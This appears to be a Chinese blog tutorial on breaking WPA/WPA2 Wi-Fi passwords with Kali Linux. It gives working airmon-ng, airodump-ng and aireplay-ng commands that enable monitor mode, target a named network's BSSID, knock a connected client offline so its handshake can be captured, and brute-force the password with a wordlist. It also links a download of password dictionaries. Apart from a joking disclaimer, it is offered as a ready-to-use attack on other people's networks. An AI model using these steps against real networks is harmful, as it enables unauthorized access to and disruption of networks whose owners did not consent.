目錄

• 前期準(zhǔn)備
• kali官網(wǎng)
• 正式開始
• 開啟網(wǎng)卡監(jiān)控
• 掃描wifi
• 等待抓取握手包
• 爆破 抓取握手包
• 抓取成功
• 開始破解
• 溫馨提示

今天教大家如何用kali破解WPA/WPA2加密方式的密碼

前期準(zhǔn)備

• 支持監(jiān)聽的網(wǎng)卡一張（大概20多塊錢，不貴）
• 以及安裝kali的VMware

kali官網(wǎng)

kali是什么？ 就是一個(gè)專門用于滲透行業(yè)的Linux發(fā)行版本，里面的工具非常豐富，本文就是建立在kali系統(tǒng)的支持之上的

下載了vm文件后可以直接用VMware打開，開機(jī)后
用戶名：kali
密碼：kali

正式開始

查看已安裝網(wǎng)卡

以下的操作都需要提升權(quán)限，默認(rèn)的root密碼都是kali

#提升權(quán)限sudo su 

#查看網(wǎng)卡airmon-ng

如果沒(méi)有，請(qǐng)注意是否開啟了網(wǎng)卡在虛擬機(jī)的連接，如下圖

打開一個(gè)終端窗口

開啟網(wǎng)卡監(jiān)控

#開啟網(wǎng)卡監(jiān)控airmon-ng start wlan0

可以使用命令看看網(wǎng)卡的名字是否改變

ifconfig

可以看到最后的那個(gè)名字已經(jīng)改變

掃描wifi

airodump-ng wlan0mon

我們選擇這個(gè)名叫adcd的wifi進(jìn)行破解

等待抓取握手包

上述方法后，按ctrl+c，退出掃描

輸入命令

airodump-ng -w freedom -c 11 --bssid 9C:2E:A1:20:65:BC wlan0mon -ignore-nefative-oneaa

-c：指定信道
-w：指定抓去握手包的存放位置或者名字，freedom是一會(huì)抓去的握手包的名字
–bssid：指定路由器的MAC

需要更改兩個(gè)參數(shù)，信道和地址，這兩個(gè)參數(shù)分別是掃描wifi時(shí)確定要破解的wifi參數(shù)

回車后，如下界面

從這個(gè)界面可以看出，選定的wifi一共有一個(gè)人連接，沒(méi)有人連接的wifi是無(wú)法破解的

爆破 抓取握手包

這個(gè)步驟，說(shuō)白了，就是將一個(gè)用戶踢下線，讓他重新連接WIFI，這樣我們就能監(jiān)聽并且截取到握手包

重啟一個(gè)終端窗口，一樣的，申請(qǐng)管理員權(quán)限，密碼默認(rèn)：kali

sudo su

執(zhí)行如下命令，同樣的，需要輸入上一步的兩個(gè)參數(shù)，一個(gè)客戶機(jī)的MAC，和路由器的MAC

aireplay-ng -0 2 -a 9C:2E:A1:20:65:BC -c A4:50:46:D8:74:29 wlan0mon

-a：指定路由器的MAC
-c：指定客戶機(jī)的MAC

執(zhí)行成功后如上圖，表明該客戶機(jī)以及被成功的踢下線，我們要做的就是等待客戶機(jī)重新連接，他只要重新連接了，我們就能抓到握手包，進(jìn)行跑字典破解

抓取成功

當(dāng)?shù)谒牟降慕K端窗口出現(xiàn)如下

表明成功抓取到握手包，進(jìn)行下一個(gè)步驟
注意?。∵@里抓到包一定要按ctrl+c退出抓包，不然抓到的握手包用不了哦

開始破解

包在**/home/kali/**文件夾下，找到名叫freedom-01.ivs文件，這個(gè)就是抓到的包

然后就是字典，我個(gè)人建議將字典一同放在該目錄下

然后再次重起一個(gè)終端窗口，輸入如下命令

ircrack-ng -w pass.txt freedom-*.ivs 

回車開始解密

能否成功看字典的是否強(qiáng)大，也看臉

成功界面

失敗界面

溫馨提示

kali學(xué)的好，牢飯少不了
本教程僅用于學(xué)習(xí)，請(qǐng)大家謹(jǐn)慎使用

需要字典的小伙伴可以不要私聊我啦，真的回復(fù)不過(guò)來(lái)了
需要的還是度盤自提吧：

鏈接: https://pan.baidu.com/s/1zL1hyHvF5DGsatPsp45L3g

提取碼: uq8t

到此這篇關(guān)于使用kali破解wifi密碼的文章就介紹到這了,更多相關(guān)kali破解密碼內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持！